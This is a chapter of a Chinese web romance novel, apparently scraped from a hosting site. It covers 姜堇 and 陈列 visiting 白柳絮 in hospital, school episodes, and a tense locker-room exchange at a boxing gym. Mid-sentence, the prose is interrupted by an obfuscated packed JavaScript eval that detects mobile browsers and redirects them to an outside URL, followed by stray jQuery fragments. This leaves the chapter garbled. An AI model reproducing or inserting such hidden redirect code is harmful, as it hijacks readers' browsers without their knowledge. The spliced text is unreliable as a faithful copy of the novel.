34. 稳固
作品:《日落野犬》 姜堇小跑步地向陈列而去,跑了两步又重新放慢步调,变成向陈列走去。
陈列一直站在原处,直到她走近,才迈步同她并肩。
姜堇故意问:“你怎么在这?”
陈列瞥她一眼,直接略过她这一问题。
两人登上去往医院的公交车。姜堇先去了趟医院的食堂,看到今晚吃饺子,是白柳絮喜欢的菠菜鸡蛋馅,便买了些。
走到病房门口,姜堇让陈列带着饺子先进去,她自己去趟洗手间。
从厕所出来洗净了双手,她下意识鞠一捧水去洗脸。
愣了下,才发现这是自己的惯性动作——她很多时候是直接从拳馆出发来看白柳絮,有时在拳馆来不及洗脸的话,便总要在医院的洗手间里洗去一脸浓妆。
她哑然失笑,扯了张纸巾把脸上的水珠擦干净。
走进病房时,陈列正在喂白柳絮吃饺子。
白柳絮在陈列面前总是很乖。姜堇有次趁她精神平和时问她为什么,她理直气壮说是因为陈列长得帅,姜堇好笑得很。
这实在是难得温暖的一幕,夕阳下白柳絮安然吃着饺子,脸上的神情一片平和。
姜堇几乎不敢走近,远远地倚在侧墙上看着这一幕。
白柳絮吃了几个后,打一个嗝。她看上去吃不下了,眼珠滴溜溜地转一圈,瞥见靠墙而立的姜堇,一指她对陈列说:“我不吃了,给你女朋友吃。”
姜堇噙着点笑意走过去坐下。
陈列刚准备把饭盒递她,白柳絮又道:“你得喂她呀!怎么不上道?”
陈列瞥姜堇一眼,姜堇还是那般似笑非笑的神色。
陈列筷尖拈起个饺子,递到她唇边。她便当真伸嘴过来接了,一手托在下巴前,怕饺子馅漏下去,含笑的话是对着白柳絮说的:“好吃。”
白柳絮仔细打量着她的脸:“你的脸怎么搞的呀?”
姜堇咀嚼的动作一顿。
上次白柳絮打她那一巴掌,用了十成十的力道,指印烙在她脸上,现在还剩浅浅的痕没消褪。刚才她洗去了遮瑕膏,这痕迹便露了出来。
姜堇刚要说没什么,陈列在一旁道:“她被人给打了。”
“谁下这么重的手呀?”白柳絮拧着眉道:“这要是你妈妈看见了,得多心疼啊。”
姜堇一瞬不瞬地看着白柳絮。
陈列又道:“要不你问问她,疼不疼。”
白柳絮便看着姜堇问:“疼么?”
姜堇轻轻地吸一口气,点头:“疼。”
白柳絮扭头去看陈列:“她说疼。”
陈列:“那你跟她说,不疼了。”
白柳絮伸出手指,很小心地在姜堇面颊的伤痕处碰了碰,又小小地吹了口气,跟姜堇说:“不疼了,啊。”
姜堇一瞬站起来,她动作太快,把白柳絮给吓了一跳。
于是她又柔声安慰白柳絮:“我出去一下,你看要不要再吃几个饺子。”
说罢快步往病房外走去。
白柳絮看一眼她背影,问陈列:“你女朋友是不是生气了呀?”
陈列摇摇头:“没有。”
陈列不知是不是又喂白柳絮吃了几个饺子,过了阵子才走出病房。
他出来的时候,姜堇正站在走廊的窗前,望着窗外的夕阳。
陈列走过去:“你不会是哭了吧?”
姜堇:“我为什么要哭?”
陈列扯一下嘴角,不与她争,只是伸手摸了下她的头。
她伸手把陈列的手挡开:“你总摸我头干什么?”
陈列:“你总那么犟干什么?”
姜堇瞥他一眼不讲话了,又移转视线去看窗外的夕阳。
陈列斜斜靠在窗框上,有些闲散的姿势。姜堇不看他,望着窗外道:“那个。”
“嗯?”陈列发现窗台上落着一颗不知什么花芽的种子,伸手去拨弄。
“如果我跟你说谢谢的话,你会不会觉得很矫情?”
“会。”陈列点头:“特别矫情。”
姜堇笑一笑缄默下去。良久,她才再度开口:“陈列,有时候我觉得……”
“觉得什么?”
姜堇摇摇头没有再说下去。
接下来的话她若说出来,只怕更加矫情。只是她望着夕阳,觉得它美得似他们充满缺憾的生活。而这样充满缺憾的生活,她也可以过很久很久。
-
周一上学,叶炳崐跟屁股上长了仙人掌似的,在凳子上坐不住。
陈列朝他瞟过去,他一脸的“我什么事都没有你别注意我”。
如此几番后,陈列叹了口气,终是忍不住问:“怎么了?”
叶炳崐差点没蹦起来,一副好不容易找到话题出口的样子:“我……”
音调较平时明显拎高,一个字以后又鬼鬼祟祟地刻意压低下去:“我和秦筱婷谈了。”
陈列挑一挑眉,一副意外又不意外的神色。
“香啊!自己谈了才知谈恋爱有多香。”叶炳崐伸着食指敲着桌沿:“你呢列哥?”
“我什么?”陈列随手拿过他桌上一本杂志翻了两页。
“你什么时候谈?”叶炳崐问:“那么多女生明里暗里对你有兴趣,你就一个都没看上?你真对这事一点没兴趣?”
陈列翻着杂志,没答他的话。
姜堇这种好学生,常被学校的各种比赛抓壮丁。
高考前最后一次市级的比赛,应该是这次的作文竞赛。
几个同样被抓壮丁的学生,聚在今日空出来的广播站办公室里开会。
其中一人撑着腮、拨弄着调音的键盘:“随便写写好啦,每年都是那些套话,高考又不加分的。”
“有人猜今年是话题作文,探讨最稳固的关系。”
立即有两个女生嬉笑起来,挤着眉眼去搡坐在她俩中间的那个女生。那女生的脸迅速涨红,一左一右地将她俩搡回去。
她俩犹不肯放过:“祁慕露,说说你现在心中最稳固的关系是什么,啊……?”
姜堇明白了。
女生是那些偷偷恋爱的“小情侣”中的一对。
姜堇微低着头,心想:最稳固的关系,怎会是恋爱关系呢?
那种关系应该是泥泞里长出来的,基于蓬勃的根系野蛮生长,比黑暗更暗,守着共有的秘密,危险到令人上瘾。
最稳固的关系应该是……共犯。
那一刻她在心里勾勒出陈列的样子,她从刘邺涵家仓皇奔逃出来时、陈列在楼下等她时的样子。
开完会,一个男生叫住姜堇:“你等一等。”
姜堇停下脚步回眸看他。
男生挠了下头:“你应该还记得我吧?”
姜堇想了半天,想起他是三班的,两人在竞赛上碰头过几次。
至于叫什么……忘了。
男生见她沉默,掏出一只信封递到她眼前。
一中对几个尖子班抓得很严,男女生聚在一起多说几句话都会被教导主任抓包,平时也不让用手机,因此“传情达意”还用这么古朴的方式。
姜堇神色淡淡地接过。
男生心脏一跳,觉得自己难道有戏?
姜堇远远瞥了眼,一转头,就把信交给了刚巧走过来的教导主任。
男生:……
教导主任打开信封看了眼,气出一声冷笑:“罗成啊罗成,你这么文采斐然的,学校选你去参加作文竞赛倒是真不亏呀!”说着又痛心疾首起来:“你是好学生呀!你知不知道马上就要高考了?啊?拼一载春秋,才能搏一生无悔啊……”
姜堇已远远走了。
她不对恋爱报什么成见,只是这件事离她自己的人生太远了。她的时间和精力有限,都用在拼命挣出泥沼上。
走回班级的路上,遇上叶炳崐拉着陈列、鬼鬼祟祟往墙边走,明显打算逃掉晚自习。
姜堇远远瞟一眼,发现他俩的身后还跟着两个女生。
姜堇一言不发地回到教室,在自己座位坐下时,杜珉珉瞧她一眼:“姜堇,你在生气吗?”
“嗯?”姜堇怔一瞬后露出一个柔和的笑:“为什么这么问?”
“那可能是我看错啦。”杜珉珉揉揉眼:“你的神情总是这么淡淡的,都让人看不出你是高兴还是不高兴的。”
次日便是周日,姜堇守在小超市写卷子时,陈列进来买烟。
姜堇头也不抬地摸出包红旗渠,放到柜台上。陈列扫码付钱的时候,她仍低着头。
陈列瞥她一眼,指节在玻璃面上敲一下:“晚上几点去拳馆?”
“还不知道。”姜堇蓝色的水性笔尖刷地在卷子上写出一个连笔的“A”。
陈列似笑非笑地“嗯”了一声,拿了烟走了。
姜堇这才抬头看一眼他背影。
晚上姜堇到拳馆的时候,发现今日格外热闹。
走近一瞧,原来老板娘新买了张台球桌,正张罗着人把它摆到合适位置。
有人拎起旁边的球杆:“我试试。”
老板娘立马在他胳膊上拍了下:“试什么试!你当我买来做慈善啊?打一杆要收钱的!”
她抢回球杆拎在手里,环视一圈:“陈列,你会打台球么?你来试试。”
方才那人立刻起哄:“老板娘,你这也太偏心了吧?”
老板娘翻他个白眼:“陈列模样好呀,又会替拳馆赚钱,让他来试第一杆兆头好呀!”
陈列唇角略勾了下,走过来拎起球杆。
姜堇远远隔着人群看他,发现自己关于陈列的想象再被不断解构又重塑。
从前她觉得陈列永远是颓丧样子,紧抿着唇不苟言笑,得过且过地就是一天。
后来她觉得陈列在没被赌债压得喘不过气时,是工工整整的天之骄子,各类国家级竞赛的坐上客。
现在她发现都不是,陈列并不是她想象中那种一丝不苟的好学生。
他拎着球杆伏低在白皮松绿的球台上,锐利的眼神像盯紧了猎物的豹,然而他姿势又是闲散,架在球台上的手指虚虚搭着球杆。
“啪”的一声,利落的一杆进洞。
周围叫起好来,他却不甚在意地将球
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519578|168667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杆往边上一靠,掩没入人群里去了。
姜堇眼神搜寻了会儿,才发现他是被安群给叫了过去。
安群得把扎啤桶从库房搬出来,找陈列去帮忙。
陈列搬动那些桶的姿态漂亮,更刚才打球的闲散又是不同,浑身紧致流畅的肌肉偾张起来。
姜堇收回视线。
接着陈列上拳台打一场比赛,下来正要往更衣室走的时候,看见姜堇端着扎啤托盘路过。
他叫住姜堇:“哎。”
姜堇回眸。
“买杯啤酒。”
“干嘛找我买?”
“干嘛不找你买?”陈列问:“你不是卖酒的吗?”
姜堇便把白皙的手掌朝他摊开来:“十块。”
“先欠着。”陈列指一指自己的拳击短裤,示意自己没带钱。
姜堇固执道:“不能欠。”
陈列低低笑了声,叫她:“跟我来。”
有其他的卖酒女郎从他们身边路过,看一眼陈列泛着汗光的腹肌,调笑道:“帅哥,能摸一把吗?”
陈列在拳馆待了一阵子,她们到底比女学生泼辣,也算摸清陈列看着凶,不爱搭理人,人却并不坏。
陈列没回应,只是领着姜堇往更衣室走去。
从自己长裤口袋里摸出一张十块钱来,放到姜堇的托盘上,这才端起一杯扎啤:“好了吧?”
姜堇收了钱,转身欲走。
“等等。”陈列站在她身后问:“躲我干什么?”
姜堇背对着陈列抿一下唇,然后慢慢转过身来。
姜堇这样聪黠,想跟陈列否认自己没躲、不过几句嘴上功夫的事。但她很清楚自己在躲,从看见陈列和叶炳崐一同逃课、身后跟着两个女生开始。
叶炳崐这种混世魔王被秦筱婷收服的事,在学校里传得沸沸扬扬。不消说,陈列是被拉去当掩护。
那么,安群呢?
姜堇望着陈列:“我从前倒不知道,你是这么热心的人。”
陈列的唇角略往上挑了挑,看着她。
姜堇的五官清冷,抿唇的时候总显出一点倔。她也不回避,就那样直视着陈列问:“怎么?”
“没怎么。”陈列转过身去把收护具,他总是很糙,随意把护具往半是生锈的铁皮衣柜里一塞:“只是安群刚来,不知道你是我女朋友。”
他转过身来看姜堇,手里一边把一件黑T往身上套。穿衣的姿态也随意,一边领口紧贴着脖颈,另一边松垮垮的,露出肌肉尚未平复因而凸显的深邃颈窝。下摆卷成一卷往下滑,贴着他形状分明的、微微往内凹陷的腹肌。
姜堇的睫从上面扫过,旋即移开。
没想到陈列朝她走过来,站在她面前,低头的时候下巴微微下压,靠近她的额。她能很明显闻见陈列身上的汗味,在逼仄凌乱的更衣室里,好像有更多陈年的难闻的汗味在其间氤氲,灯灰蒙蒙的,似河面凌晨三四点光景起的那层雾。
但陈列的汗味不难闻,新鲜的,从里面钻出来。
带着他身上强烈的荷尔蒙气息。
姜堇喉咙轻地一滚,听他问:“你要不要去告诉她?”
“告诉她什么?”姜堇抬头直视他沉黑的双眸,这时有人在外推更衣室的门,陈列的反应比她更快,掌根抵着门反方向一摁,顺手拧了反锁。
两人的呼吸似在交缠,又似在打架。
姜堇看着他问:“告诉她说我是你女朋友?”
她一点不回避,“女朋友”三字经她说来轻而掷地有声。陈列原本觉得那三字如一片羽毛落进了心里,又觉得刮起喉咙的一阵痕痒。抬手一摸,是一颗汗珠自他自己的喉结处滚了下来。
他听见自己的声音:“嗯。”
姜堇笑了笑:“没这个必要吧,我总归是要走的人。”
“去英国了,”陈列的语调从来带三分淡漠:“就不打算回来了?”
“回来做什么?我妈根本不想看到我,我赚钱让她住最好的疗养院就好。”
姜堇的声音比他更暗。但她清晰地感觉到,两人的呼吸滚灼地交缠在一起。外面正在打另一场拳赛,欢呼声铺天盖地,更衬得更衣室里寂寂。姜堇身后是一个生锈的铁架子,堆满了拳手缓解肌肉痛的松节油,一种陈旧的、略带麝香感的、与灰尘交织的味道。
陈列的站姿,算是把姜堇堵在门与铁架之间的角落。
从前有异性这般靠近,姜堇会极度戒备而充满不适。现在她也戒备,她也不适,可是在这戒备和不适间,还有种什么更陌生的感觉钻了出来。
与松节油的气息一同,不断捆绑又解绑着她的心脏。
陈列以那样一低头便可以吻到她的距离站了会儿,退开一步,喉间低低地:“嗯。”
一手拧开反锁,替姜堇拉开门。
姜堇从那门缝里钻了出去,本来深春已觉得拳馆里闷热难当,在逼仄更衣室里待久了出来,竟觉得一阵铺面的凉风撩动着她的额发。
低头才发现手里还一直端着扎啤的托盘。她是对自己够狠的人,方才的情形下杯中的啤酒一滴不洒。